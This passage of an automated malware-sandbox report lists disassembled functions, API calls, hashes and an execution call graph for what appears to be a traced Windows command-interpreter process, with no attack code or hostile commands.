                                                      • Part of subcall function 00007FF6BF3DEF40: wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF031
                                                      • Part of subcall function 00007FF6BF3DEF40: iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF0D6
                                                    • longjmp.MSVCRT ref: 00007FF6BF3ECCBC
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ECCE0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
                                                    • String ID: GeToken: (%x) '%s'
                                                    • API String ID: 3282654869-1994581435
                                                    • Opcode ID: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
                                                    • Instruction ID: 23401d0613720248d6c6b65d54e8057727f6f4b968389306ea5dbb6136ddbfa5
                                                    • Opcode Fuzzy Hash: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
                                                    • Instruction Fuzzy Hash: AD61E375A5924682FA148BAD94602B92BA1EF447E4F584534DB1DCF7F1EE3CF5818380
                                                    Function 00007FF6BF4008EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memmovewcsncmp
                                                    • String ID: 0123456789
                                                    • API String ID: 3879766669-2793719750
                                                    • Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                    • Instruction ID: 621fa378d98a322dc9d9bc4f451baea35eb5c8f2c26dacde3049241d5f3dafe8
                                                    • Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                    • Instruction Fuzzy Hash: 5041E422F1878A81EA258F7E94106BA73A4FB64BD0F445131DF4E877A6DFBCD5418780
                                                    Function 00007FF6BF3F9784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F97D0
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F98D7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                    • String ID: Software\Classes
                                                    • API String ID: 2714550308-1656466771
                                                    • Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                    • Instruction ID: fef7d609f52203b470e523da53db149d1d15b14792cca1024cb0c3152ee2ccb2
                                                    • Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                    • Instruction Fuzzy Hash: 7041AF22A2A75281EA40DB9ED86403963A4FB84BD0F508131DF5E8B7F1DF39E856C380
                                                    Function 00007FF6BF3FA0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FA0FC
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FA1FB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                    • String ID: Software\Classes
                                                    • API String ID: 2714550308-1656466771
                                                    • Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                    • Instruction ID: babf5aff89c42f5fbfb668d32170c61017a60d2b7e24eb1c718a71326665204d
                                                    • Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                    • Instruction Fuzzy Hash: A2418E22A19B5281EA40DB5ED444439A3A4FB88BD0F518131DF5E8B7F1EF3DE852C380
                                                    Function 00007FF6BF3DCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleTitle
                                                    • String ID: -
                                                    • API String ID: 3358957663-3695764949
                                                    • Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                    • Instruction ID: e1113308b5ca2c4858deec7ef91b8a0340a21f61a95c5b099f2d468e01663a33
                                                    • Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                    • Instruction Fuzzy Hash: EB31C225A5D75285EA14AB99A80007C6BA4FF49BD0F085135CF0E8B7F6DF3CE860C384
                                                    Function 00007FF6BF3E7280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmpswscanf
                                                    • String ID: :EOF
                                                    • API String ID: 1534968528-551370653
                                                    • Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                    • Instruction ID: 8fe0babae20671d106a3955be07d4d755af06f78371f50976282d5ebe3a32d9f
                                                    • Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                    • Instruction Fuzzy Hash: C4318D31E28A4286FB649BADE8402B877A0EF54B40F445431EB5D8A2B6DF6CEC51C790
                                                    Function 00007FF6BF3D3BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmp
                                                    • String ID: /-Y
                                                    • API String ID: 1886669725-4274875248
                                                    • Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
                                                    • Instruction ID: 64b75fbda7076241f8445e5a7b4e036e843a004559f3d4c06378a8c3e21e1811
                                                    • Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
                                                    • Instruction Fuzzy Hash: 6221B36AE0875681EB109B9AA5442787BA0FB54FC0F448071DF8D8B7B4DF3CE8A2D344
                                                    Function 00007FF6BF3DB62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 3$3
                                                    • API String ID: 0-2538865259
                                                    • Opcode ID: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                    • Instruction ID: 1963d6152efc0a896962104c77ea6edc834bad165153b6c4fadb720234284059
                                                    • Opcode Fuzzy Hash: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                    • Instruction Fuzzy Hash: 51015779D9E1928AF3148BEC98842B87B60BF54351F541235C70EC95B2CF2C69A4C781
                                                    Function 00007FF6BF3E06C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06D6
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06F0
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E074D
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E0762
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                    • Instruction ID: 65481f8ecc58115d837f5d4e74fdb52eae4aaab99f32cff92febae477e5cd27d
                                                    • Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                    • Instruction Fuzzy Hash: 44418CB2A1974286EA148F98E4401BE7BA0FF85B80F548134CB4D8B765DF3CE951C790

                                                    Execution Graph

                                                    Execution Coverage:5.6%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:0%
                                                    Total number of Nodes:839
                                                    Total number of Limit Nodes:25
                                                    execution_graph 16786 7ff6bf3e8d80 16787 7ff6bf3e8da4 16786->16787 16788 7ff6bf3e8db6 16787->16788 16789 7ff6bf3e8dbf Sleep 16787->16789 16790 7ff6bf3e8ddb _amsg_exit 16788->16790 16796 7ff6bf3e8de7 16788->16796 16789->16787 16790->16796 16791 7ff6bf3e8e56 _initterm 16793 7ff6bf3e8e73 _IsNonwritableInCurrentImage 16791->16793 16792 7ff6bf3e8e3c 16800 7ff6bf3e37d8 GetCurrentThreadId OpenThread 16793->16800 16796->16791 16796->16792 16796->16793 16833 7ff6bf3e04f4 16800->16833 16802 7ff6bf3e3839 HeapSetInformation RegOpenKeyExW 16803 7ff6bf3e388d 16802->16803 16804 7ff6bf3ee9f8 RegQueryValueExW RegCloseKey 16802->16804 16805 7ff6bf3e5920 VirtualQuery VirtualQuery 16803->16805 16807 7ff6bf3eea41 GetThreadLocale 16804->16807 16806 7ff6bf3e38ab GetConsoleOutputCP GetCPInfo 16805->16806 16806->16807 16808 7ff6bf3e38f1 memset 16806->16808 16823 7ff6bf3e3919 16807->16823 16808->16823 16809 7ff6bf3e4d5c 391 API calls 16809->16823 16810 7ff6bf3d3240 166 API calls 16810->16823 16811 7ff6bf3eeb27 _setjmp 16811->16823 16812 7ff6bf3e3948 _setjmp 16812->16823 16813 7ff6bf3f8530 370 API calls 16813->16823 16814 7ff6bf3e01b8 6 API calls 16814->16823 16815 7ff6bf3e4c1c 166 API calls 16815->16823 16816 7ff6bf3ddf60 481 API calls 16816->16823 16817 7ff6bf3eeb71 _setmode 16817->16823 16818 7ff6bf3e0580 12 API calls 16820 7ff6bf3e398b GetConsoleOutputCP GetCPInfo 16818->16820 16819 7ff6bf3e86f0 182 API calls 16819->16823 16822 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16820->16822 16821 7ff6bf3e58e4 EnterCriticalSection LeaveCriticalSection 16821->16823 16822->16823 16823->16804 16823->16809 16823->16810 16823->16811 16823->16812 16823->16813 16823->16814 16823->16815 16823->16816 16823->16817 16823->16818 16823->16819 16823->16821 16824 7ff6bf3dbe00 647 API calls 16823->16824 16825 7ff6bf3e58e4 EnterCriticalSection LeaveCriticalSection 16823->16825 16824->16823 16826 7ff6bf3eebbe GetConsoleOutputCP GetCPInfo 16825->16826 16827 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16826->16827 16829 7ff6bf3eebe6 16827->16829 16828 7ff6bf3dbe00 647 API calls 16828->16829 16829->16828 16830 7ff6bf3e0580 12 API calls 16829->16830 16831 7ff6bf3eebfc GetConsoleOutputCP GetCPInfo 16830->16831 16832 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16831->16832 16832->16823 16834 7ff6bf3e0504 16833->16834 16835 7ff6bf3e051e GetModuleHandleW 16834->16835 16836 7ff6bf3e054d GetProcAddress 16834->16836 16837 7ff6bf3e056c SetThreadLocale 16834->16837 16835->16834 16836->16834 17398 7ff6bf3faf80 17399 7ff6bf3fafa5 17398->17399 17400 7ff6bf3faf8d 17398->17400 17402 7ff6bf3fa0b0 243 API calls 17399->17402 17404 7ff6bf3fa0b0 RegOpenKeyExW 17400->17404 17403 7ff6bf3faf92 17402->17403 17405 7ff6bf3fa112 17404->17405 17406 7ff6bf3fa209 17404->17406 17427 7ff6bf3dd3f0 17405->17427 17406->17403 17409 7ff6bf3fa130 17455 7ff6bf3f9b0c 17409->17455 17412 7ff6bf3fa149 17413 7ff6bf3db900 166 API calls 17412->17413 17415 7ff6bf3fa151 17413->17415 17414 7ff6bf3dff70 2 API calls 17416 7ff6bf3fa1ee 17414->17416 17415->17409 17421 7ff6bf3fa13c 17415->17421 17422 7ff6bf3fa186 17415->17422 17417 7ff6bf3dff70 2 API calls 17416->17417 17419 7ff6bf3fa1f6 RegCloseKey 17417->17419 17418 7ff6bf3fa18c 17420 7ff6bf3d3278 166 API calls 17418->17420 17419->17406 17420->17421 17421->17414 17422->17418 17423 7ff6bf3db900 166 API calls 17422->17423 17424 7ff6bf3fa1b4 17423->17424 17424->17418 17424->17421 17425 7ff6bf3fa1d4 17424->17425 17501 7ff6bf3fac4c 17425->17501 17428 7ff6bf3dd810 17427->17428 17429 7ff6bf3dd420 17427->17429 17530 7ff6bf3db998 17428->17530 17431 7ff6bf3dd46e GetProcessHeap HeapAlloc 17429->17431 17432 7ff6bf3ecaad 17429->17432 17431->17432 17438 7ff6bf3dd49a 17431->17438 17433 7ff6bf3d3278 166 API calls 17432->17433 17434 7ff6bf3ecab7 17433->17434 17436 7ff6bf3dd544 17436->17432 17437 7ff6bf3e9158 7 API calls 17436->17437 17441 7ff6bf3eca31 wcschr 17436->17441 17442 7ff6bf3dd54a iswspace 17436->17442 17443 7ff6bf3dd5ee GetProcessHeap HeapReAlloc 17436->17443 17445 7ff6bf3dd586 wcschr 17436->17445 17446 7ff6bf3dd6ff iswspace 17436->17446 17449 7ff6bf3dd668 17436->17449 17450 7ff6bf3dd759 wcschr 17436->17450 17452 7ff6bf3dd6c5 wcschr 17436->17452 17453 7ff6bf3eca5a wcschr 17436->17453 17559 7ff6bf3fe91c 17436->17559 17437->17436 17438->17436 17439 7ff6bf3dd515 17438->17439 17440 7ff6bf3dd4e8 wcschr 17438->17440 17439->17436 17440->17438 17441->17436 17442->17436 17444 7ff6bf3dd561 wcschr 17442->17444 17443->17432 17447 7ff6bf3dd61d GetProcessHeap HeapSize 17443->17447 17444->17436 17445->17436 17446->17436 17448 7ff6bf3dd712 wcschr 17446->17448 17447->17436 17448->17436 17451 7ff6bf3e8f80 7 API calls 17449->17451 17450->17436 17454 7ff6bf3dd6a0 17451->17454 17452->17436 17453->17436 17454->17409 17494 7ff6bf3e1ea0 17454->17494 17456 7ff6bf3f9cfa 17455->17456 17457 7ff6bf3f9b4a RegEnumKeyExW 17455->17457 17458 7ff6bf3f9d01 17456->17458 17459 7ff6bf3f9d1d 17456->17459 17462 7ff6bf3f9ce6 17457->17462 17482 7ff6bf3f9b8b 17457->17482 17460 7ff6bf3d3278 166 API calls 17458->17460 17461 7ff6bf3e09f4 2 API calls 17459->17461 17460->17462 17463 7ff6bf3f9d25 17461->17463 17464 7ff6bf3e8f80 7 API calls 17462->17464 17465 7ff6bf3db900 166 API calls 17463->17465 17467 7ff6bf3f9ec9 17464->17467 17468 7ff6bf3f9d2d 17465->17468 17466 7ff6bf3f9ca5 RegEnumKeyExW 17466->17462 17466->17482 17467->17421 17468->17462 17469 7ff6bf3f9d3f wcsrchr 17468->17469 17470 7ff6bf3f9d58 17469->17470 17471 7ff6bf3f9d7c 17470->17471 17486 7ff6bf3f9d95 17470->17486 17472 7ff6bf3d3278 166 API calls 17471->17472 17473 7ff6bf3f9d8b 17472->17473 17476 7ff6bf3dff70 2 API calls 17473->17476 17475 7ff6bf3f9cf5 17477 7ff6bf3e9158 7 API calls 17475->17477 17476->17462 17477->17456 17478 7ff6bf3dff70 2 API calls 17478->17482 17479 7ff6bf3f9e1d RegOpenKeyExW 17480 7ff6bf3f9e5e 17479->17480 17481 7ff6bf3f9e4a 17479->17481 17484 7ff6bf3fa73c 171 API calls 17480->17484 17483 7ff6bf3d3278 166 API calls 17481->17483 17482->17462 17482->17466 17482->17475 17482->17478 17485 7ff6bf3e3448 166 API calls 17482->17485 17643 7ff6bf3fa73c 17482->17643 17483->17473 17487 7ff6bf3f9e6b 17484->17487 17485->17482 17486->17479 17488 7ff6bf3f9e96 17487->17488 17490 7ff6bf3f9e82 17487->17490 17489 7ff6bf3d3278 166 API calls 17488->17489 17491 7ff6bf3f9e94 17489->17491 17493 7ff6bf3e3448 166 API calls 17490->17493 17492 7ff6bf3dff70 2 API calls 17491->17492 17492->17473 17493->17491 17495 7ff6bf3e1ec4 17494->17495 17496 7ff6bf3e1eae wcschr 17494->17496 17495->17412 17496->17495 17497 7ff6bf3e1ece 17496->17497 17498 7ff6bf3e1f3f 17497->17498 17499 7ff6bf3e9158 7 API calls 17497->17499 17498->17412 17500 7ff6bf3e1f53 17499->17500 17502 7ff6bf3fac8f 17501->17502 17502->17502 17503 7ff6bf3faca7 17502->17503 17507 7ff6bf3facbd 17502->17507 17504 7ff6bf3d3278 166 API calls 17503->17504 17518 7ff6bf3facb3 17504->17518 17505 7ff6bf3e8f80 7 API calls 17506 7ff6bf3faf17 17505->17506 17506->17421 17508 7ff6bf3fad4c RegOpenKeyExW 17507->17508 17509 7ff6bf3fad7d 17508->17509 17510 7ff6bf3fae59 17508->17510 17511 7ff6bf3fae42 17509->17511 17524 7ff6bf3fad90 17509->17524 17512 7ff6bf3faeca RegDeleteValueW 17510->17512 17513 7ff6bf3fae64 17510->17513 17515 7ff6bf3d3278 166 API calls 17511->17515 17514 7ff6bf3faef5 RegCloseKey 17512->17514 17517 7ff6bf3faec3 17512->17517 17513->17513 17516 7ff6bf3fae6e RegSetValueExW 17513->17516 17514->17518 17515->17518 17520 7ff6bf3faeba 17516->17520 17521 7ff6bf3faea6 17516->17521 17522 7ff6bf3d3278 166 API calls 17517->17522 17518->17505 17519 7ff6bf3fadb8 RegCreateKeyExW 17519->17524 17525 7ff6bf3fae28 17519->17525 17526 7ff6bf3d3278 166 API calls 17520->17526 17523 7ff6bf3e3448 166 API calls 17521->17523 17522->17514 17527 7ff6bf3faeb8 17523->17527 17524->17510 17524->17519 17528 7ff6bf3fae0b RegCloseKey 17524->17528 17529 7ff6bf3d3278 166 API calls 17525->17529 17526->17517 17527->17514 17528->17524 17529->17518 17531 7ff6bf3dcd90 166 API calls 17530->17531 17532 7ff6bf3db9a1 17531->17532 17533 7ff6bf3db9a6 17532->17533 17534 7ff6bf3fe91c 198 API calls 17532->17534 17533->17439 17535 7ff6bf3db9b1 memset 17534->17535 17537 7ff6bf3dca40 17 API calls 17535->17537 17542 7ff6bf3dba4c 17537->17542 17538 7ff6bf3ec3a8 17538->17538 17539 7ff6bf3db998 199 API calls 17538->17539 17548 7ff6bf3ec41a 17539->17548 17540 7ff6bf3dbadb 17540->17538 17544 7ff6bf3dbcef GetFileAttributesW 17540->17544 17545 7ff6bf3dbb05 17540->17545 17541 7ff6bf3dba80 wcschr 17541->17540 17541->17542 17542->17538 17542->17540 17542->17541 17543 7ff6bf3dbaa0 wcschr 17542->17543 17542->17545 17549 7ff6bf3dbb47 17542->17549 17543->17542 17544->17545 17547 7ff6bf3dbb29 _wcsicmp 17545->17547 17545->17549 